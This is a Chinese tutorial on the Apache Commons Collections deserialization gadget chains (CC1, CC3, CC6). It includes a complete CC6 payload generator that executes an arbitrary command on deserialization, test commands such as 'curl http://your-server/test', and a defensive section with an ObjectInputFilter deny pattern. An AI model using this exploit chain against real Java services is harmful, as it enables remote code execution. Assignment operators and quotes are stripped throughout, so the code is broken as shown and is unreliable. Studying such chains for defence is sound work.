
1. 项目概述一场关于Java反序列化的“军备竞赛”如果你是一名Java安全研究员或者对渗透测试感兴趣那么“CC链”这个词对你来说一定不陌生。它指的是一系列基于Apache Commons Collections库的反序列化漏洞利用链是Java安全领域一个经典且绕不开的话题。CC1、CC3、CC6这些编号背后是安全研究者与Java运行环境之间一场持续多年的“深度博弈”。这场博弈的核心就在于如何利用Java对象序列化与反序列化这一基础机制结合反射调用在特定的JDK版本限制下构造出能够执行任意代码的“武器化”对象。简单来说Java允许我们将一个对象的状态属性值转换成字节流序列化以便存储或传输之后又能将这些字节流还原成一个对象反序列化。这本来是为了方便分布式通信或持久化存储。但问题在于反序列化过程会调用对象的readObject方法如果攻击者能够控制被反序列化的数据流并精心构造一个对象链就可能诱使Java程序在执行反序列化时沿着这条链执行一系列危险操作最终达到执行系统命令的目的。Apache Commons Collections库中一些功能强大但设计上存在风险的工具类如Transformer,InvokerTransformer就为构造这样的链提供了“零件”。然而事情没那么简单。Java的守护者们主要是Oracle的JDK开发团队也在不断加固防线。不同的JDK版本对内部API的访问权限、对反射调用的限制、甚至对某些关键类的实现都做了修改。这就导致了一条在JDK 1.7上能完美运行的CC1利用链到了JDK 1.8的高版本可能就完全失效了。于是攻击者白帽子安全研究员需要不断研究新的链式构造方法绕过新的限制这就是CC3、CC6等后续利用链诞生的背景。理解这场博弈不仅是为了掌握几种攻击手法更是为了深入理解Java安全机制、反射机制以及如何编写更安全的代码。本文将从原理出发带你一步步拆解CC1、CC3、CC6的核心构造并亲自动手在不同JDK版本限制下复现攻击让你彻底明白这场“攻防战”的每一个细节。2. 漏洞原理与核心组件深度剖析要理解CC链我们必须先拆解它的两大基石Apache Commons Collections中危险的“Transformer”体系以及Java反序列化触发执行的“入口点”。2.1 Apache Commons Collections的“危险玩具”Transformer与ChainedTransformer在Commons Collections库中org.apache.commons.collections.Transformer是一个接口它只有一个方法Object transform(Object input)。顾名思义它的作用就是将一个输入对象转换成另一个输出对象。这个设计本身很通用但库中提供的一些实现类就非常危险了尤其是InvokerTransformer。InvokerTransformer的transform方法实现简单得令人不安它通过Java反射动态调用传入对象的方法。我们来看一下它的核心代码逻辑概念还原public class InvokerTransformer implements Transformer { private final String methodName; private final Class[] paramTypes; private final Object[] args; public Object transform(Object input) { if (input null) { return null; } try { Class cls input.getClass(); Method method cls.getMethod(methodName, paramTypes); return method.invoke(input, args); } catch (Exception e) { throw new FunctorException(e); } } }想象一下如果我创建一个InvokerTransformer参数是(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”})。那么当它的transform方法接收一个Runtime.getRuntime()返回的Runtime对象时会发生什么它会通过反射调用这个Runtime对象的exec(“calc.exe”)方法从而弹出计算器这就是一个最原始的“代码执行”单元。但是光有一个“执行单元”还不够我们需要把它“组装”起来并让它在反序列化时自动触发。这里就引入了ChainedTransformer。它也是一个Transformer实现其transform方法会按顺序执行一个Transformer数组。例如Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, null}), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{“calc.exe”}) }; Transformer chain new ChainedTransformer(transformers); chain.transform(null); // 这行代码就会执行命令这段代码构造了一条反射调用链从一个Runtime.class对象开始反射调用getMethod(“getRuntime”)获取方法对象再反射调用invoke(null, null)得到Runtime.getRuntime()实例最后调用其exec(“calc.exe”)。ChainedTransformer完美地将多个危险的反射调用串联了起来。注意在实际漏洞利用中我们通常不会直接调用transform因为攻击者无法控制程序去调用这个方法。我们的目标是在反序列化过程中让Java自动去执行这条链。2.2 反序列化的“自动点火器”readObject与危险容器那么如何让反序列化过程自动触发我们的Transformer链呢关键在于找到一些JDK或第三方库中其readObject方法在执行时会“无意间”调用transform方法的类。这些类就是我们的“跳板”或“入口点”。在CC1链中这个关键类是org.apache.commons.collections.map.LazyMap。LazyMap是一个装饰器它可以在get方法被调用时自动使用一个Transformer来创建不存在的key对应的value。这听起来很平常但如果我们能找到另一个类在反序列化readObject时触发了LazyMap.get链条就连接上了。这个“另一个类”就是sun.reflect.annotation.AnnotationInvocationHandler。它是JDK内部用于处理注解的动态代理类。在JDK 1.7及早期版本中它的readObject方法里有一段逻辑会去调用其成员变量memberValues的entrySet方法。而memberValues可以是一个Map对象。如果我们通过Java动态代理创建一个代理对象其InvocationHandler是AnnotationInvocationHandler而这个handler的memberValues被设置成我们精心构造的LazyMap。那么当这个代理对象被反序列化时AnnotationInvocationHandler.readObject被调用。它试图调用memberValues.entrySet()。由于memberValues是我们的代理对象任何对其方法的调用都会被转发到InvocationHandler.invoke。在CC1的构造中InvocationHandler被设置为另一个AnnotationInvocationHandler或特定的InvocationHandler实现其invoke方法会去调用LazyMap.get。LazyMap.get触发了我们预设的ChainedTransformer.transform。命令执行。至此一条完整的CC1利用链就清晰了反序列化AnnotationInvocationHandler代理对象 - 触发LazyMap.get- 触发ChainedTransformer.transform- 通过反射链执行命令。实操心得理解这条链的关键在于抓住“代理”和“回调”这两个概念。AnnotationInvocationHandler在反序列化时的行为是固定的调用entrySet我们通过动态代理将这个行为“劫持”到我们控制的LazyMap.get上而LazyMap.get的行为又由我们传入的Transformer链决定。这是一种典型的“控制流劫持”。3. JDK版本限制与利用链的演化博弈CC1链虽然精巧但它严重依赖sun.reflect.annotation.AnnotationInvocationHandler这个JDK内部类。从JDK 1.8u71开始Oracle对AnnotationInvocationHandler的readObject方法进行了重写移除了会触发memberValues.entrySet()调用的逻辑。这相当于直接堵死了CC1链最关键的“自动点火”入口。安全防御的升级迫使攻击技术必须进化。3.1 CC3链绕过限制寻找新的“点火器”既然AnnotationInvocationHandler的路被堵死了那就需要寻找其他在反序列化时会自动触发某些行为的类。CC3链的核心思路是利用TrAXFilter类作为新的反射调用跳板并结合TemplatesImpl来承载恶意字节码。这里引入了两个新组件com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类可以加载字节码并生成新的类。如果我们能控制其_bytecodes属性为我们编译好的恶意类字节码那么在调用其newTransformer()或getOutputProperties()方法时就会实例化我们的恶意类。com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类的构造函数接受一个Templates对象TemplatesImpl实现了Templates接口并在构造函数内部调用了Templates.newTransformer()。CC3链的构造逻辑变为构造一个TemplatesImpl对象其_bytecodes属性包含编译好的恶意类例如静态代码块里执行命令。构造一个InstantiateTransformer它可以调用指定类的构造函数。我们让它去实例化TrAXFilter类并将上一步的TemplatesImpl对象作为参数传入。将InstantiateTransformer放入一个ChainedTransformer中。寻找一个在反序列化时能触发Transformer.transform的入口点。这里CC3又用回了LazyMap和AnnotationInvocationHandler的代理模式但触发点不再是entrySet()而是通过其他方式例如在JDK 1.7的某些版本下利用AnnotationInvocationHandler.toString方法触发的代理调用来最终触发LazyMap.get。CC3链的优势在于它不依赖AnnotationInvocationHandler.readObject里那个特定的调用而是利用了TrAXFilter构造函数这个“必然执行”的点并且将恶意代码放在了字节码中更为灵活。但它仍然受限于AnnotationInvocationHandler这个入口类的其他可用方法在更高版本的JDK中可能再次失效。3.2 CC6链回归基础寻找更通用的入口CC6链可以看作是CC1的一个变种或增强版它的目标是寻找一个更通用、受JDK版本影响更小的入口点。它发现java.util.HashMap的readObject方法在反序列化恢复数据时会调用每个键的hashCode()方法和equals()方法来进行比较和去重。如果我们能让一个键的hashCode()计算过程触发我们的恶意链呢CC6链结合了LazyMap和另一个Commons Collections中的类TiedMapEntry。TiedMapEntry是一个Map.Entry实现它内部持有一个Map和一个key。它的getValue()方法会调用内部Map的get(key)方法。而它的hashCode()方法实现是这样的public int hashCode() { Object value getValue(); return (getKey() null ? 0 : getKey().hashCode()) ^ (value null ? 0 : value.hashCode()); }看到了吗hashCode()调用了getValue()而getValue()调用了内部Map的get(key)。如果这个内部Map是我们构造的LazyMapkey是任意对象那么调用TiedMapEntry.hashCode()就会触发LazyMap.get进而触发Transformer链于是CC6链的构造如下构造恶意ChainedTransformer和LazyMap。创建一个TiedMapEntry对象其Map为LazyMapkey为一个任意值比如”foo”。创建一个HashMap并将这个TiedMapEntry对象作为键Key放入HashMap。在将TiedMapEntry放入HashMap后需要手动调用一次LazyMap.remove(key)移除”foo”这个键。这是为了确保在反序列化时HashMap调用TiedMapEntry.hashCode()时LazyMap.get(“foo”)会因为key不存在而触发Transformer。如果不移除LazyMap里已经存在这个键就会直接返回值而不会触发transform。序列化这个HashMap。当这个HashMap被反序列化时HashMap.readObject被调用它读取键值对。为了将键放入内部数组它会计算键的哈希值即调用TiedMapEntry.hashCode()。TiedMapEntry.hashCode()调用getValue()。getValue()调用LazyMap.get(“foo”)。由于”foo”已被移除LazyMap.get触发ChainedTransformer.transform。命令执行。CC6链的巧妙之处在于它完全避开了AnnotationInvocationHandler这个不稳定的内部类转而利用HashMap这个JDK中最基础、最核心、最不可能被大幅修改的容器类作为入口点因此其通用性和稳定性大大增强在更多版本的JDK包括1.8的许多高版本上都能成功利用。利用链核心入口点关键依赖受JDK版本影响优点CC1AnnotationInvocationHandler.readObjectsun.reflect.annotation.AnnotationInvocationHandler(JDK内部类)极大JDK 1.8u71失效经典易于理解反序列化攻击原理CC3AnnotationInvocationHandler的其他方法 /TrAXFilter构造函数TemplatesImpl(加载字节码)较大依赖特定版本的AnnotationInvocationHandler行为可加载自定义字节码更灵活CC6HashMap.readObjectTiedMapEntry.hashCode()-LazyMap.get较小HashMap是稳定核心类通用性强跨版本兼容性好4. 实战复现构建与调试CC6利用链理论讲得再多不如亲手实践一遍。下面我们以通用性最强的CC6链为例在受限环境下使用较高版本JDK例如1.8u202并引入Commons Collections 3.2.1依赖进行完整的漏洞复现。我会详细说明每一步的意图和可能遇到的坑。4.1 环境准备与依赖配置首先你需要一个Java开发环境。我推荐使用Maven来管理依赖这样最方便。创建Maven项目使用IDEIntelliJ IDEA或Eclipse创建一个普通的Maven项目。添加依赖在pom.xml文件中添加Apache Commons Collections 3.2.1的依赖。这个版本是存在漏洞的经典版本。dependencies dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency /dependencies确认JDK版本确保你的项目使用的JDK版本在1.8u71以上例如1.8u202这样才能体现CC6链绕过限制的价值。你可以在终端运行java -version查看。4.2 分步构造CC6利用链我们将编写一个Exploit.java类来生成Payload。为了清晰我将构造过程拆分成几个方法。第一步构造核心的Transformer执行链这个方法负责创建最终会执行命令的ChainedTransformer。为了调试方便我们通常会先构造一个无害的Transformer链比如只执行Runtime.getRuntime()但不exec等整个链条打通后再替换成恶意链。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; public class CC6Exploit { // 构造一个无害的Transformer链用于测试链条是否通畅 public static Transformer createTestChain() { Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), // 注意这里我们先注释掉exec只获取Runtime实例用于测试 // new InvokerTransformer(“exec”, // new Class[]{String.class}, // new Object[]{“calc.exe”}) new ConstantTransformer(“Test Success”) // 替换成一个无害的输出 }; return new ChainedTransformer(transformers); } // 构造真正的恶意Transformer链 public static Transformer createMaliciousChain(String cmd) throws Exception { Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(“getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer(“invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer(“exec”, new Class[]{String.class}, new Object[]{cmd}) }; return new ChainedTransformer(transformers); } }第二步构造LazyMap与TiedMapEntry这是CC6链的核心跳板部分。import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.util.HashMap; import java.util.Map; public class CC6Exploit { // ... 之前的代码 ... public static Map buildLazyMap(Transformer chain) { // 创建一个空的HashMap作为LazyMap的装饰基础 Map innerMap new HashMap(); // 用我们的Transformer链装饰这个Map创建LazyMap Map lazyMap LazyMap.decorate(innerMap, chain); return lazyMap; } public static TiedMapEntry buildTiedMapEntry(Map lazyMap) { // 创建一个TiedMapEntry将其与LazyMap绑定key为“foo” TiedMapEntry entry new TiedMapEntry(lazyMap, “foo”); return entry; } }第三步组装最终的HashMap Payload这是最关键的一步需要特别注意remove操作的时机。import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6Exploit { // ... 之前的代码 ... public static byte[] generatePayload(String command) throws Exception { // 1. 创建恶意Transformer链 Transformer maliciousChain createMaliciousChain(command); // 2. 创建LazyMap Map lazyMap buildLazyMap(maliciousChain); // 3. 创建TiedMapEntry TiedMapEntry entry new TiedMapEntry(lazyMap, “foo”); // 4. 创建最终的HashMap并放入entry HashMap hashMap new HashMap(); hashMap.put(entry, “bar”); // value可以是任意值 // !!! 至关重要的步骤从LazyMap中移除测试用的key “foo” // 这样在反序列化触发get时才会因为key不存在而去调用transform lazyMap.remove(“foo”); // 5. 序列化HashMap ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.close(); return baos.toByteArray(); } // 一个用于测试Payload的入口方法 public static void testDeserialize(byte[] payload) throws Exception { ByteArrayInputStream bais new ByteArrayInputStream(payload); ObjectInputStream ois new ObjectInputStream(bais); Object obj ois.readObject(); // 反序列化触发点 ois.close(); System.out.println(“反序列化完成: “ obj); } public static void main(String[] args) throws Exception { // 生成弹出计算器的Payload (Windows系统) byte[] payload generatePayload(“calc.exe”); // 测试Payload testDeserialize(payload); } }4.3 调试技巧与关键问题排查运行上面的main方法理想情况下会弹出计算器。但实战中你可能会遇到各种问题下面是一些关键的调试技巧和常见问题ClassNotFoundException: org.apache.commons.collections.xxx问题反序列化环境目标服务没有引入Commons Collections 3.2.1的jar包。排查这是最可能失败的原因。CC链攻击成功的前提是目标应用的ClassPath中包含有漏洞版本的Commons Collections库。在实际渗透测试中你需要先通过信息收集确认这一点。命令执行了但没有弹出窗口Linux或无GUI环境问题calc.exe是Windows命令。在Linux或服务器无图形界面环境下这个命令无效。解决根据目标系统替换命令。例如Linux下可以尝试/bin/sh -c ‘touch /tmp/pwned’来测试文件创建或者curl http://your-server/test来测试网络连通性。务必在授权环境下测试使用无害命令。java.security.AccessControlException(沙箱/安全管理器)问题目标Java应用可能启用了SecurityManager对反射、执行命令等操作进行了限制。排查这是CC链在实际Web容器如Tomcat with SecurityManager中利用的主要障碍之一。你的Payload可能会被拦截。这种情况下需要寻找其他绕过安全管理器的方法或者利用链可能不适用。为什么一定要lazyMap.remove(“foo”)原理LazyMap的get方法逻辑是如果key存在直接返回对应的value如果key不存在则用Transformer生成一个value并存入Map然后返回。如果我们不remove(“foo”)那么在hashMap.put(entry, “bar”)时为了计算entry的hashCode就会触发lazyMap.get(“foo”)此时”foo”不存在会触发一次transform。这会导致两个问题一是序列化前就执行了命令不符合“反序列化触发”的预期二是执行后”foo”这个key和对应的value可能是Runtime实例会被存入lazyMap并随之序列化。在反序列化时HashMap再次计算hashCode调用lazyMap.get(“foo”)此时key已存在直接返回之前存入的value而不会再次触发transform导致利用失败。验证你可以注释掉remove行在put之后和remove之前打印lazyMap的内容会发现里面多了一个键值对。序列化后再反序列化就不会触发命令了。使用调试器Debugger技巧在testDeserialize方法中的readObject处打上断点一步步跟进。观察调用栈你会清晰地看到从HashMap.readObject-hash()-TiedMapEntry.hashCode()-getValue()-LazyMap.get()-ChainedTransformer.transform()的完整过程。这是理解整个利用链最直观的方式。重要注意事项以上所有代码仅供学习研究之用请在完全隔离的虚拟机或实验环境中操作。切勿对未授权的系统进行任何测试这是违法行为。5. 防御视角如何让应用免于此类攻击作为开发者了解攻击手段是为了更好地防御。从CC链的案例分析我们可以总结出几个关键的防御点升级与替换升级Commons Collections将Apache Commons Collections库升级到安全版本如4.0或3.2.2版本该版本对InvokerTransformer、InstantiateTransformer等类增加了安全校验。使用替代库考虑使用其他更安全的工具库或者使用Java 8自带的Stream API和新的集合类来替代部分功能。反序列化过滤使用白名单这是最有效的方法。在反序列化时使用ObjectInputFilterJDK 9或第三方库如Apache Commons IO的SerializationFilter只允许反序列化已知安全的、必要的类。明确拒绝包含org.apache.commons.collections.Transformer、InvokerTransformer、TiedMapEntry等危险类的数据流。代码示例JDK 9ObjectInputFilter filter ObjectInputFilter.Config.createFilter( “!org.apache.commons.collections.functors.*;!org.apache.commons.collections.keyvalue.*;” ); ObjectInputStream ois new ObjectInputStream(bais); ois.setObjectInputFilter(filter); Object obj ois.readObject();谨慎使用反序列化评估必要性问问自己是否真的需要Java原生序列化JSON、Protobuf、Thrift等跨语言、更安全的序列化协议通常是更好的选择。隔离反序列化环境如果必须使用考虑在独立的、权限受限的进程或线程池中进行反序列化操作并配置严格的Java安全管理器SecurityManager策略。代码审计检查项目中是否直接使用了ObjectInputStream处理来自网络或文件的不受信数据。检查依赖中是否引入了存在已知漏洞的组件版本如Commons Collections 3.2.1及以下。理解CC1/CC3/CC6的演变本质上是在理解安全是一个动态的过程。攻击者在寻找机制结合处的“缝隙”而防御者则在不断填补缝隙、加固机制。这场围绕JDK版本、反射调用与序列化机制的博弈是Java安全史上生动的一课。对于安全从业者它提供了漏洞挖掘的思路对于开发者它敲响了安全编码的警钟。在实战中复现这些链时我最深的体会是永远不要信任任何不受信的反序列化数据流并且要对你项目中所使用的每一个第三方库的版本和安全状况了如指掌。很多时候升级一个看似普通的依赖jar包就是最直接有效的安全加固。